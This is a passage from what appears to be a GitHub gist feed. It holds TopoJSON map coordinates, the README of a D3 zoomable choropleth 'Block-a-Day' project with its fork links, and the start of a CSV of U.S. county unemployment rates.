40],[-2,-11],[10,-13],[7,-31],[3,-1],[1,-25],[4,-30],[-10,-16],[-5,10],[0,-26],[-8,20],[-2,14],[-5,0],[-13,38],[-10,33],[0,20],[-6,30],[-14,21],[-9,21],[-14,26],[-9,24],[1,26],[2,-9],[3,17],[-3,38],[4,21],[-2,9],[-7,-40],[-14,-26],[-18,10],[-14,24],[-1,18],[-7,-4],[-7,14],[-17,12],[-9,1],[-21,-10],[-8,-7],[-10,27],[-12,12],[-3,17],[-2,28],[-8,-2],[-3,-25],[-15,34],[-2,14],[-15,-27],[-7,-32],[-3,30],[3,17],[4,-5],[14,22],[-2,17],[-6,-8],[-3,22],[-6,3],[-6,55],[-3,-13],[-8,-8],[-3,8],[-3,-18],[-11,6],[-1,-20],[-7,-5],[-3,7],[2,36],[-3,-1],[-5,-38],[7,-12],[1,-27],[4,-30],[-3,-31],[-5,10],[-2,-15],[6,-7],[3,-41],[-8,-9],[-4,9],[-7,-12],[-3,10],[-9,-2],[0,16],[-4,-10],[-3,-20],[-3,18],[-5,-25],[2,-12],[-6,-15],[-6,-2],[-3,-20],[-6,-17],[-4,6],[-5,-21],[-4,1],[-8,-43],[-9,-3],[-3,14],[-5,-23],[-11,17],[2,33],[8,11],[4,-2],[2,13],[8,25],[0,21],[-11,-28],[-9,16],[-1,12],[5,48],[8,34],[1,29],[2,5],[1,30],[-4,34],[10,12],[19,48],[4,-19],[6,-5],[9,20],[-10,26],[-4,20],[-7,-2],[-5,9],[-2,-8],[-9,-14],[-4,-26],[-9,-6],[-9,-30],[-1,-20],[-7,-11],[-2,-22],[-5,-13],[-2,-39],[-10,-25],[5,-20],[-4,-29],[-9,-5],[-1,-38],[-8,-13],[-3,15],[-4,-29],[-5,-1],[1,-21],[-11,-13],[-2,-57],[12,-3],[10,-16],[3,-19],[-4,-30],[-7,-19],[-6,-1],[0,-17],[-4,-6],[1,-21],[-4,-31],[-9,-29],[-5,0],[-5,-11],[-5,2],[-3,-11],[1,-16],[-7,-8],[-2,-23],[-5,14],[-5,-45],[-9,4],[1,-24],[-6,6],[-3,-11],[0,-32],[-6,-50],[-10,-6],[-7,-23],[-2,-13],[-5,18],[-8,-48],[-2,13],[-5,-4],[-1,-27],[-5,-10],[-6,4],[-4,-27],[8,-9],[-9,-60],[-25,-20],[-6,-54],[-2,12],[1,33],[-5,6],[-6,-13],[-1,-14],[-10,-22],[-4,-25],[-1,18],[-2,-21],[-6,14],[-10,-33],[-8,2],[1,25],[-4,24],[-3,-20],[1,-21],[-11,-64],[-3,16],[-1,-24],[-8,4],[-1,38],[-4,8],[-2,-14],[4,-16],[-2,-27],[-5,-13],[-5,29],[-5,2],[-1,-11],[5,-17],[-9,-27],[6,-7],[0,-13],[-5,9],[-7,-25],[-15,1],[-7,-16],[0,-13],[-8,-15],[-6,6],[-2,35],[6,12],[4,43],[6,1],[13,28],[10,1],[4,-27],[3,20],[-1,23],[6,10],[7,0],[8,50],[10,45],[12,40],[15,18],[6,-9],[6,12],[1,-17],[-3,-19],[4,-14],[1,23],[7,2],[2,-15],[5,-5],[0,18],[-8,15],[0,11],[5,49],[6,28],[9,27],[15,24],[10,35],[5,-13],[4,5],[-1,22],[1,21],[8,44],[11,28],[8,38],[0,21],[7,148],[11,40],[-1,31],[-27,-45],[-8,6],[-2,18],[-5,9],[-1,21],[-4,-10],[-3,-32],[5,-41],[-6,-18],[-5,7],[-9,64],[-6,33],[-4,0],[-2,-24],[-3,-4],[-4,19],[-5,4],[-2,32],[-16,-37],[-13,-26],[-1,-14],[-11,-22],[-6,20],[5,23],[-1,54],[-4,57],[7,24],[-6,49],[-5,27],[-4,39],[-6,17],[-2,-34],[-7,-8],[-12,-22],[-14,-9],[-7,2],[-7,12],[-1,30],[-5,9],[-9,42],[-8,8],[-8,46],[6,21],[1,39],[-5,-8],[0,24],[2,19],[-6,18],[0,-19],[-7,8],[-1,32],[-6,4],[-3,22],[0,27],[-5,-12],[-1,26],[7,6],[-6,30],[10,2],[0,35],[2,24],[18,77],[4,23],[3,-5],[-2,33],[7,55],[6,22],[11,9],[8,-9],[12,-33],[8,4],[11,32],[11,49],[6,6],[1,-13],[13,0],[12,10],[11,52],[0,12],[-5,48],[-1,28],[-8,31],[-3,26],[8,-7],[8,22],[0,20],[-10,39],[-8,-30],[-7,5],[-6,-17],[-8,-4],[-2,-11],[-9,-17],[-2,-28],[-5,-12],[-2,34],[-5,7],[-4,-26],[-2,12],[-10,19],[-20,-1],[-14,-21],[-6,-3],[-11,13],[-22,14],[-6,12],[-3,19],[2,26],[-8,22],[2,24],[5,12],[-2,31],[-8,0],[-6,8],[-13,6],[-7,16],[-10,16],[-1,19],[16,27],[20,43],[15,27],[8,-15],[8,-3],[2,21],[-5,3],[-1,18],[20,29],[22,22],[12,2],[7,-7],[-4,-32],[2,-22],[-3,-15],[4,-26],[8,5],[10,-5],[11,6],[4,-10],[7,-2],[7,10],[8,-11],[9,42],[5,2],[5,-8],[2,24],[-12,11],[-11,-9],[1,31],[-8,34],[-10,10],[-2,30],[7,8],[9,-31],[-1,-24],[4,-18],[10,-22],[2,23],[-11,30],[5,54],[-4,10],[-11,-12],[-11,3],[-2,10],[-6,-10],[-24,23],[0,24],[-7,54],[-6,19],[-9,17],[-19,46],[-9,18],[-8,4],[-13,31],[-12,18],[-1,6],[9,10],[4,29],[1,59],[25,-4],[31,13],[8,11],[12,29],[12,45],[3,45],[5,38],[10,33],[5,24],[13,38],[2,-10],[11,-3],[16,20],[10,21],[24,64],[9,4],[1,-10],[9,7],[9,-2],[18,9],[17,28],[17,58],[7,13],[2,-10],[26,-24],[2,-17],[-9,-22],[-4,-1],[0,-29],[14,9],[0,16],[6,14],[2,-8],[5,33],[13,-30],[-2,-23],[8,-6],[5,-14],[7,22],[13,1],[7,7],[18,-7],[10,-8],[-5,-45],[17,-12],[2,-11],[16,-20],[1,9],[12,13],[11,-1],[0,-11],[7,-1],[7,15],[11,2],[9,-6],[11,-16],[5,3],[7,-22],[4,9],[7,-7],[5,-13]],[[717,7456],[-1,-8],[-9,13],[7,49],[6,4],[4,45],[5,-40],[4,14],[8,-22],[0,-31],[-11,-4],[-5,-13],[-8,-7]],[[688,7363],[8,25],[-8,6],[0,22],[6,14],[5,-10],[0,-22],[3,15],[0,32],[5,-15],[1,21],[5,-12],[5,0],[5,11],[7,-20],[0,-55],[9,4],[-6,-37],[-11,15],[4,-24],[-3,-20],[-6,10],[0,-38],[-8,-10],[-3,-16],[-5,15],[-6,-40],[-4,-4],[-5,-18],[-2,43],[-6,-23],[-1,13],[-6,14],[0,39],[-6,15],[4,45],[11,28],[7,-2],[1,-21]],[[671,7185],[-6,-39],[-2,6],[8,33]],[[640,7055],[4,-2],[-1,-40],[-8,6],[-1,13],[6,23]],[[519,6933],[-2,-41],[-9,-33],[5,51],[2,-5],[4,28]],[[501,6947],[5,0],[0,-20],[-5,-23],[-5,15],[-3,-14],[-2,35],[2,12],[8,-5]],[[451,6875],[1,-16],[-3,-11],[-3,18],[5,9]],[[447,8527],[-4,-19],[-2,16],[6,3]],[[436,6781],[6,-7],[-1,-16],[-5,1],[0,22]],[[358,6745],[2,-22],[-5,-10],[-1,23],[4,9]],[[352,6718],[-8,-21],[-2,14],[3,19],[7,-12]],[[335,7902],[6,7],[2,-14],[5,3],[6,-12],[1,-54],[-3,-18],[-7,-11],[-2,-18],[-11,20],[-5,-1],[-10,28],[-4,0],[-6,15],[-2,25],[3,7],[10,-7],[5,20],[6,2],[2,14],[4,-6]],[[334,6690],[5,-14],[-10,-36],[1,-6],[12,26],[0,-15],[-5,-17],[-8,-12],[-1,-18],[-8,-18],[-7,-1],[-5,-18],[-9,-16],[-5,17],[9,20],[3,-3],[8,16],[-2,19],[4,20],[6,-9],[1,12],[-7,4],[-4,14],[4,23],[11,13],[2,-26],[5,25]],[[266,6527],[10,37],[1,16],[4,17],[7,9],[3,-10],[2,-25],[-13,-27],[-6,-40],[-5,-13],[-3,36]],[[238,6477],[2,-19],[-8,-1],[-1,13],[7,7]],[[227,7303],[-4,-18],[-1,18],[5,0]],[[212,6440],[2,-18],[-5,-13],[-1,19],[4,12]],[[182,8542],[22,-28],[13,24],[6,-2],[5,-14],[2,-23],[11,-12],[4,-12],[15,-5],[9,-8],[-5,-28],[-7,6],[-8,-5],[-4,-13],[-4,-28],[-5,26],[-6,18],[-6,2],[-3,20],[-15,25],[-6,1],[-11,-22],[-7,11],[-4,23],[4,44]],[[162,6381],[0,-22],[-5,-4],[1,19],[4,7]],[[128,6335],[4,-8],[10,1],[1,-7],[-13,-9],[-2,23]],[[108,6360],[0,19],[4,7],[6,-19],[-2,-17],[-4,1],[1,-20],[-5,-2],[-12,-21],[-6,6],[2,15],[7,-2],[9,33]],[[47,6279],[5,3],[0,-24],[-6,3],[-8,-28],[-4,37],[4,1],[0,29],[5,1],[0,-21],[4,-1]],[[28,6296],[3,-9],[-2,-32],[-5,-10],[0,20],[4,31]],[[0,6291],[5,-1],[4,-23],[-4,-27],[-5,51]],[[9993,6496],[6,-13],[0,-19],[-11,-12],[-8,31],[0,15],[13,-2]],[[1966,3444],[-1,-1081]],[[1965,2363],[-57,0],[-34,71],[-73,150],[3,43]],[[1804,2627],[6,8],[1,16],[-1,36],[-4,1],[-2,71],[6,27],[0,28],[-1,45],[4,34],[4,12],[4,25],[-6,27],[-4,51],[-5,31],[0,24]],[[1806,3063],[2,26],[0,36],[-3,36],[-2,112],[11,7],[3,-23],[3,1],[3,33],[0,153]],[[1823,3444],[101,2],[42,-2]],[[2515,3253],[-1,-35],[-4,-11],[-1,-29],[-5,-31],[0,-46],[-3,-34],[-3,-5]],[[2498,3062],[2,-17],[-4,-14],[-2,-33],[-3,-8],[0,-38],[-5,-10],[0,-13],[-6,-31],[2,-21],[-5,-30],[-5,-59],[5,-25],[-2,-16],[1,-39],[-2,-26]],[[2474,2682],[-69,3],[-13,0]],[[2392,2685],[0,101],[-4,8],[-5,-9],[-3,18]],[[2380,2803],[1,335],[-5,211]],[[2376,3349],[4,0],[123,-1],[2,-36],[-4,-23],[-4,-36],[18,0]],[[1654,4398],[0,-331],[0,-241],[36,-171],[35,-169],[27,-137],[20,-101],[34,-185]],[[1804,2627],[-38,-18],[-30,-16],[-4,25],[0,40],[-2,47],[-4,33],[-9,46],[-12,43],[-2,-12],[-4,8],[1,18],[-5,39],[-7,-8],[-12,28],[-2,23],[-8,28],[-9,-1],[-7,13],[-10,-6],[-5,26],[1,53],[-1,8],[1,38],[-8,28],[0,39],[-3,2],[-4,33],[-4,8],[-1,20],[-11,79],[-5,23],[-1,62],[2,-6],[2,37],[-4,33],[-5,-4],[-7,30],[-2,24],[0,23],[-3,31],[0,50],[5,0],[-2,70],[-2,-7],[-1,-35],[-5,-7],[-7,26],[-1,45],[-4,35],[-6,22],[-3,25],[-9,50],[2,14],[-4,64],[2,35],[-3,54],[-7,52],[-7,29],[-2,35],[7,83],[2,29],[-2,22],[3,57],[-2,52],[-3,13],[1,42]],[[1534,4399],[28,1],[24,1],[38,-3],[30,0]],[[2107,4208],[57,0],[0,-191]],[[2164,4017],[1,-574]],[[2165,3443],[-28,1]],[[2137,3444],[-38,-1],[-72,0],[-15,1],[-46,0]],[[1966,3444],[0,223],[-1,21],[0,162],[0,357]],[[1965,4207],[32,1],[63,-1],[47,1]],[[3025,4400],[0,-113],[-2,-18]],[[3023,4269],[-2,3],[-12,-14],[-15,4],[-7,-26],[-7,-9],[-8,-22]],[[2972,4205],[-2,22],[7,21],[-2,16],[2,144]],[[2977,4408],[12,-2],[36,-3],[0,-3]],[[2922,3980],[-2,-23]],[[2920,3957],[-3,-13],[0,-30],[5,-29],[1,-47],[6,-49],[3,-2],[1,-66]],[[2933,3721],[-19,3],[-2,240]],[[2912,3964],[5,21],[5,-5]],[[2876,3786],[-2,27]],[[2874,3813],[2,12],[4,-19],[-4,-20]],[[2649,2300],[4,-55],[39,-13],[37,-14],[1,-41],[4,1],[1,39],[-1,35],[2,15],[7,-16],[8,-7]],[[2751,2244],[1,-83],[4,-93],[8,-122],[13,-131],[-2,-9],[1,-61],[5,-68],[8,-137],[2,-42],[0,-44],[-3,-158],[-3,-3],[-3,-49],[1,-16],[-5,-36],[-2,9],[-6,-15],[-9,-8],[-2,20],[1,29],[-7,85],[-5,15],[-4,-11],[-3,47],[-1,38],[-6,43],[-2,28],[1,41],[-3,8],[1,-24],[-3,-7],[-9,104],[-4,26],[9,76],[-6,-4],[-4,-24],[-3,38],[5,104],[1,87],[-4,21],[-1,28],[-5,6],[-7,46],[-5,19],[0,28],[-4,11],[-3,31],[-11,42],[-9,-10],[0,-29],[-3,5],[-12,-35],[-12,-9],[0,21],[-3,25],[-15,57],[-10,24],[-10,6],[-8,-4],[-17,-18]],[[2703,3063],[-6,-41],[0,-20],[9,-40],[3,3],[5,-42],[1,-22],[4,-40],[7,-24],[3,-35],[8,-33],[0,-22],[5,-35],[7,-29],[2,-32],[1,-40],[3,-14],[5,-51],[0,-33],[7,-16]],[[2767,2497],[-7,-65],[-2,-34],[-3,-29],[0,-30],[-3,-14],[-1,-81]],[[2632,3060],[37,1]],[[2669,3061],[20,-1],[14,3]],[[640,0],[-7,17],[-1,16],[1,43],[-5,73],[4,24],[2,34],[-2,22],[1,23],[8,-27],[9,-20],[5,-29],[0,-26],[8,-40],[-5,-34],[-8,-15],[-7,-25],[-3,-36]],[[613,397],[3,-26],[4,11],[9,-30],[-1,-27],[-9,-14],[-2,6],[-1,33],[-5,7],[-1,19],[3,21]],[[602,432],[-3,-20],[-7,0],[2,22],[8,-2]],[[574,525],[3,-45],[-2,-26],[-6,-5],[-4,54],[4,1],[5,21]],[[531,626],[3,-2],[2,-20],[-1,-28],[-4,-18],[-9,22],[1,31],[8,15]],[[1766,5734],[0,-195],[9,-54],[1,-52],[5,-23],[6,-8],[0,-14],[11,-51],[1,-21],[8,-20],[0,-12],[8,1],[-4,-71],[-1,-45],[3,-29],[-5,-21],[2,</code></pre><p><em>Truncated — <a href="https://gist.github.com/74c955c65eec82f8425616d26fabee4f">view the full gist</a>.</em></p>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[Zoomable Choropleth D3 V3 - Queue removed]]></title>
      <link>https://gist.github.com/b2b7902aac884a4a5f41479b0b55c952</link>
      <guid isPermaLink="true">https://gist.github.com/b2b7902aac884a4a5f41479b0b55c952</guid>
      <pubDate>Wed, 21 Sep 2016 17:41:46 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2016-09-21T17:41:46.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>.block</code:filename>
        <code:language>Unknown</code:language>
        <code:size>25</code:size>
      </code:file>
      <code:file>
        <code:filename>README.md</code:filename>
        <code:language>Markdown</code:language>
        <code:size>3649</code:size>
      </code:file>
      <code:file>
        <code:filename>data.csv</code:filename>
        <code:language>CSV</code:language>
        <code:size>110666</code:size>
      </code:file>
      <code:file>
        <code:filename>index.html</code:filename>
        <code:language>HTML</code:language>
        <code:size>6163</code:size>
      </code:file>
      <code:file>
        <code:filename>us-counties.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>656701</code:size>
      </code:file>
      <code:file>
        <code:filename>us-states.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>27577</code:size>
      </code:file>
      <description><![CDATA[Zoomable Choropleth D3 V3 - Queue removed]]></description>
      <content:encoded><![CDATA[<h3>.block</h3><pre><code>license: mit
height: 600
</code></pre>
<h3>README.md</h3><pre><code class="language-markdown">Block-a-Day #11. Clicking on a state zooms the map to that state and shows county-level data.

**Data Sources:** [BLS](http://www.bls.gov/lau/).

**What I Learned:** Trying out the new [_projection_.fitExtent()](https://github.com/d3/d3-geo#projection_fitExtent). In the process, learned about [adaptive resampling](http://bl.ocks.org/mbostock/3795544), which can break interpolation by changing the number of coordinates in a path at different zoom levels. Fixed the resulting bug by setting [_projection_.precision()](https://github.com/d3/d3-geo#projection_precision) to 0, effectively turning off resampling.

**What I&apos;d Do With More Time:** Finding a way to include Alaska and Hawaii is an obvious next step (albersUSA didn&apos;t immediately work with this technique). Could probably use more detailed county shapefiles.

## Block-a-Day

Just what it sounds like. For fifteen days, I will make a [D3.js v4](https://d3js.org) block every single day. Rules:

1. Ideas over implementation. Do something novel, don&apos;t sweat the details.
2. No more than two hours can be spent on coding (give or take).
3. Every. Single. Day.

### Previously

* [Map to Force-Directed Graph](https://bl.ocks.org/cmgiven/4cfa1a95f9b952622280a90138842b79)
* [Brushable Scatterplot/Choropleth](https://bl.ocks.org/cmgiven/abca90f6ba5f0a14c54d1eb952f8949c)
* [Treemap Bar Chart](https://bl.ocks.org/cmgiven/018fd027d443b177e18fffb9afcdb5bd)
* [Triangular Scatterplot](https://bl.ocks.org/cmgiven/a0f58034cea5331a814b30b74aacb8af)
* [Choropleth with Animated Stripes](http://bl.ocks.org/cmgiven/09140e2ac8119340048f62d1b241977e)
* [Collatz Conjecture](https://bl.ocks.org/cmgiven/231f779f9655025f38b5b4b828f3b7b0)
* [Bouncing Logo](https://bl.ocks.org/cmgiven/a325f14550a65dc8ff6898ef0f9feeb4)
* [Rectangular Collision Detection](https://bl.ocks.org/cmgiven/547658968d365bcc324f3e62e175709b)
* [Demers Catogram](https://bl.ocks.org/cmgiven/9d6bc46cf586738458c13dd2b5dadd84)
* [Gooey Exploding Scatterplot](https://bl.ocks.org/cmgiven/e5dfe0888968ee8c507f5469a4d62b6f)


forked from &lt;a href=&apos;http://bl.ocks.org/cmgiven/&apos;&gt;cmgiven&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/cmgiven/d39ec773c4f063a463137748097ff52f&apos;&gt;Zoomable Choropleth&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/anonymous/&apos;&gt;anonymous&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/anonymous/670b131bf0e22caa5c0901191edd89e1&apos;&gt;Zoomable Choropleth&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/anonymous/&apos;&gt;anonymous&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/anonymous/321222dc2bc719633f230301a0cf5105&apos;&gt;Zoomable Choropleth D3 V3&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/a9012e6300d13ec5249b8f5827430505&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/f41c371da87a76c88b768c67e382e3ad&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/1f1955af07b8a6b8280fa6a86b3bf033&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/78794dcae28394eec2215a1b7fb2bc24&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/867a7b513aa7edaf41dc798dd6be4d5a&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/d8b87b4d3d74944be837e21f12ec0b7e&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;</code></pre>
<h3>data.csv</h3><pre><code class="language-csv">state,county,name,unemployment
01,000,Alabama,0.061
01,001,&quot;Autauga County, AL&quot;,0.052
01,003,&quot;Baldwin County, AL&quot;,0.055
01,005,&quot;Barbour County, AL&quot;,0.089
01,007,&quot;Bibb County, AL&quot;,0.066
01,009,&quot;Blount County, AL&quot;,0.054
01,011,&quot;Bullock County, AL&quot;,0.078
01,013,&quot;Butler County, AL&quot;,0.075
01,015,&quot;Calhoun County, AL&quot;,0.07
01,017,&quot;Chambers County, AL&quot;,0.06
01,019,&quot;Cherokee County, AL&quot;,0.054
01,021,&quot;Chilton County, AL&quot;,0.057
01,023,&quot;Choctaw County, AL&quot;,0.091
01,025,&quot;Clarke County, AL&quot;,0.118
01,027,&quot;Clay County, AL&quot;,0.062
01,029,&quot;Cleburne County, AL&quot;,0.06
01,031,&quot;Coffee County, AL&quot;,0.059
01,033,&quot;Colbert County, AL&quot;,0.079
01,035,&quot;Conecuh County, AL&quot;,0.092
01,037,&quot;Coosa County, AL&quot;,0.067
01,039,&quot;Covington County, AL&quot;,0.071
01,041,&quot;Crenshaw County, AL&quot;,0.06
01,043,&quot;Cullman County, AL&quot;,0.053
01,045,&quot;Dale County, AL&quot;,0.064
01,047,&quot;Dallas County, AL&quot;,0.096
01,049,&quot;DeKalb County, AL&quot;,0.06
01,051,&quot;Elmore County, AL&quot;,0.051
01,053,&quot;Escambia County, AL&quot;,0.07
01,055,&quot;Etowah County, AL&quot;,0.061
01,057,&quot;Fayette County, AL&quot;,0.07
01,059,&quot;Franklin County, AL&quot;,0.064
01,061,&quot;Geneva County, AL&quot;,0.059
01,063,&quot;Greene County, AL&quot;,0.11
01,065,&quot;Hale County, AL&quot;,0.078
01,067,&quot;Henry County, AL&quot;,0.068
01,069,&quot;Houston County, AL&quot;,0.062
01,071,&quot;Jackson County, AL&quot;,0.066
01,073,&quot;Jefferson County, AL&quot;,0.058
01,075,&quot;Lamar County, AL&quot;,0.063
01,077,&quot;Lauderdale County, AL&quot;,0.069
01,079,&quot;Lawrence County, AL&quot;,0.077
01,081,&quot;Lee County, AL&quot;,0.051
01,083,&quot;Limestone County, AL&quot;,0.055
01,085,&quot;Lowndes County, AL&quot;,0.116
01,087,&quot;Macon County, AL&quot;,0.081
01,089,&quot;Madison County, AL&quot;,0.055
01,091,&quot;Marengo County, AL&quot;,0.077
01,093,&quot;Marion County, AL&quot;,0.07
01,095,&quot;Marshall County, AL&quot;,0.058
01,097,&quot;Mobile County, AL&quot;,0.07
01,099,&quot;Monroe County, AL&quot;,0.101
01,101,&quot;Montgomery County, AL&quot;,0.062
01,103,&quot;Morgan County, AL&quot;,0.058
01,105,&quot;Perry County, AL&quot;,0.1
01,107,&quot;Pickens County, AL&quot;,0.068
01,109,&quot;Pike County, AL&quot;,0.067
01,111,&quot;Randolph County, AL&quot;,0.059
01,113,&quot;Russell County, AL&quot;,0.06
01,115,&quot;St. Clair County, AL&quot;,0.052
01,117,&quot;Shelby County, AL&quot;,0.042
01,119,&quot;Sumter County, AL&quot;,0.08
01,121,&quot;Talladega County, AL&quot;,0.066
01,123,&quot;Tallapoosa County, AL&quot;,0.061
01,125,&quot;Tuscaloosa County, AL&quot;,0.055
01,127,&quot;Walker County, AL&quot;,0.072
01,129,&quot;Washington County, AL&quot;,0.089
01,131,&quot;Wilcox County, AL&quot;,0.147
01,133,&quot;Winston County, AL&quot;,0.076
02,000,Alaska,0.067
02,013,&quot;Aleutians East Borough, AK&quot;,0.032
02,016,&quot;Aleutians West Census Area, AK&quot;,0.038
02,020,&quot;Anchorage Borough/municipality, AK&quot;,0.05
02,050,&quot;Bethel Census Area, AK&quot;,0.144
02,060,&quot;Bristol Bay Borough, AK&quot;,0.092
02,068,&quot;Denali Borough, AK&quot;,0.087
02,070,&quot;Dillingham Census Area, AK&quot;,0.097
02,090,&quot;Fairbanks North Star Borough, AK&quot;,0.054
02,100,&quot;Haines Borough, AK&quot;,0.097
02,105,&quot;Hoonah-Angoon Census Area, AK&quot;,0.15
02,110,&quot;Juneau Borough/city, AK&quot;,0.046
02,122,&quot;Kenai Peninsula Borough, AK&quot;,0.078
02,130,&quot;Ketchikan Gateway Borough, AK&quot;,0.068
02,150,&quot;Kodiak Island Borough, AK&quot;,0.049
02,158,&quot;Kusilvak Census Area, AK&quot;,0.232
02,164,&quot;Lake and Peninsula Borough, AK&quot;,0.127
02,170,&quot;Matanuska-Susitna Borough, AK&quot;,0.078
02,180,&quot;Nome Census Area, AK&quot;,0.117
02,185,&quot;North Slope Borough, AK&quot;,0.056
02,188,&quot;Northwest Arctic Borough, AK&quot;,0.155
02,195,&quot;Petersburg Borough, AK&quot;,0.089
02,198,&quot;Prince of Wales-Hyder Census Area, AK&quot;,0.125
02,220,&quot;Sitka Borough/city, AK&quot;,0.045
02,230,&quot;Skagway Municipality, AK&quot;,0.115
02,240,&quot;Southeast Fairbanks Census Area, AK&quot;,0.108
02,261,&quot;Valdez-Cordova Census Area, AK&quot;,0.088
02,275,&quot;Wrangell Borough/city, AK&quot;,0.078
02,282,&quot;Yakutat Borough/city, AK&quot;,0.083
02,290,&quot;Yukon-Koyukuk Census Area, AK&quot;,0.18
04,000,Arizona,0.06
04,001,&quot;Apache County, AZ&quot;,0.134
04,003,&quot;Cochise County, AZ&quot;,0.074
04,005,&quot;Coconino County, AZ&quot;,0.066
04,007,&quot;Gila County, AZ&quot;,0.08
04,009,&quot;Graham County, AZ&quot;,0.074
04,011,&quot;Greenlee County, AZ&quot;,0.079
04,012,&quot;La Paz County, AZ&quot;,0.076
04,013,&quot;Maricopa County, AZ&quot;,0.052
04,015,&quot;Mohave County, AZ&quot;,0.08
04,017,&quot;Navajo County, AZ&quot;,0.097
04,019,&quot;Pima County, AZ&quot;,0.056
04,021,&quot;Pinal County, AZ&quot;,0.063
04,023,&quot;Santa Cruz County, AZ&quot;,0.115
04,025,&quot;Yavapai County, AZ&quot;,0.056
04,027,&quot;Yuma County, AZ&quot;,0.218
05,000,Arkansas,0.052
05,001,&quot;Arkansas County, AR&quot;,0.044
05,003,&quot;Ashley County, AR&quot;,0.08
05,005,&quot;Baxter County, AR&quot;,0.057
05,007,&quot;Benton County, AR&quot;,0.039
05,009,&quot;Boone County, AR&quot;,0.051
05,011,&quot;Bradley County, AR&quot;,0.062
05,013,&quot;Calhoun County, AR&quot;,0.058
05,015,&quot;Carroll County, AR&quot;,0.048
05,017,&quot;Chicot County, AR&quot;,0.094
05,019,&quot;Clark County, AR&quot;,0.057
05,021,&quot;Clay County, AR&quot;,0.069
05,023,&quot;Cleburne County, AR&quot;,0.072
05,025,&quot;Cleveland County, AR&quot;,0.058
05,027,&quot;Columbia County, AR&quot;,0.068
05,029,&quot;Conway County, AR&quot;,0.063
05,031,&quot;Craighead County, AR&quot;,0.046
05,033,&quot;Crawford County, AR&quot;,0.054
05,035,&quot;Crittenden County, AR&quot;,0.064
05,037,&quot;Cross County, AR&quot;,0.056
05,039,&quot;Dallas County, AR&quot;,0.074
05,041,&quot;Desha County, AR&quot;,0.076
05,043,&quot;Drew County, AR&quot;,0.071
05,045,&quot;Faulkner County, AR&quot;,0.048
05,047,&quot;Franklin County, AR&quot;,0.052
05,049,&quot;Fulton County, AR&quot;,0.054
05,051,&quot;Garland County, AR&quot;,0.057
05,053,&quot;Grant County, AR&quot;,0.047
05,055,&quot;Greene County, AR&quot;,0.053
05,057,&quot;Hempstead County, AR&quot;,0.052
05,059,&quot;Hot Spring County, AR&quot;,0.052
05,061,&quot;Howard County, AR&quot;,0.044
05,063,&quot;Independence County, AR&quot;,0.067
05,065,&quot;Izard County, AR&quot;,0.069
05,067,&quot;Jackson County, AR&quot;,0.078
05,069,&quot;Jefferson County, AR&quot;,0.072
05,071,&quot;Johnson County, AR&quot;,0.06
05,073,&quot;Lafayette County, AR&quot;,0.079
05,075,&quot;Lawrence County, AR&quot;,0.063
05,077,&quot;Lee County, AR&quot;,0.069
05,079,&quot;Lincoln County, AR&quot;,0.063
05,081,&quot;Little River County, AR&quot;,0.057
05,083,&quot;Logan County, AR&quot;,0.059
05,085,&quot;Lonoke County, AR&quot;,0.043
05,087,&quot;Madison County, AR&quot;,0.039
05,089,&quot;Marion County, AR&quot;,0.054
05,091,&quot;Miller County, AR&quot;,0.052
05,093,&quot;Mississippi County, AR&quot;,0.093
05,095,&quot;Monroe County, AR&quot;,0.063
05,097,&quot;Montgomery County, AR&quot;,0.07
05,099,&quot;Nevada County, AR&quot;,0.052
05,101,&quot;Newton County, AR&quot;,0.051
05,103,&quot;Ouachita County, AR&quot;,0.066
05,105,&quot;Perry County, AR&quot;,0.063
05,107,&quot;Phillips County, AR&quot;,0.079
05,109,&quot;Pike County, AR&quot;,0.062
05,111,&quot;Poinsett County, AR&quot;,0.057
05,113,&quot;Polk County, AR&quot;,0.06
05,115,&quot;Pope County, AR&quot;,0.055
05,117,&quot;Prairie County, AR&quot;,0.048
05,119,&quot;Pulaski County, AR&quot;,0.047
05,121,&quot;Randolph County, AR&quot;,0.074
05,123,&quot;St. Francis County, AR&quot;,0.075
05,125,&quot;Saline County, AR&quot;,0.042
05,127,&quot;Scott County, AR&quot;,0.05
05,129,&quot;Searcy County, AR&quot;,0.058
05,131,&quot;Sebastian County, AR&quot;,0.05
05,133,&quot;Sevier County, AR&quot;,0.064
05,135,&quot;Sharp County, AR&quot;,0.071
05,137,&quot;Stone County, AR&quot;,0.065
05,139,&quot;Union County, AR&quot;,0.064
05,141,&quot;Van Buren County, AR&quot;,0.07
05,143,&quot;Washington County, AR&quot;,0.036
05,145,&quot;White County, AR&quot;,0.065
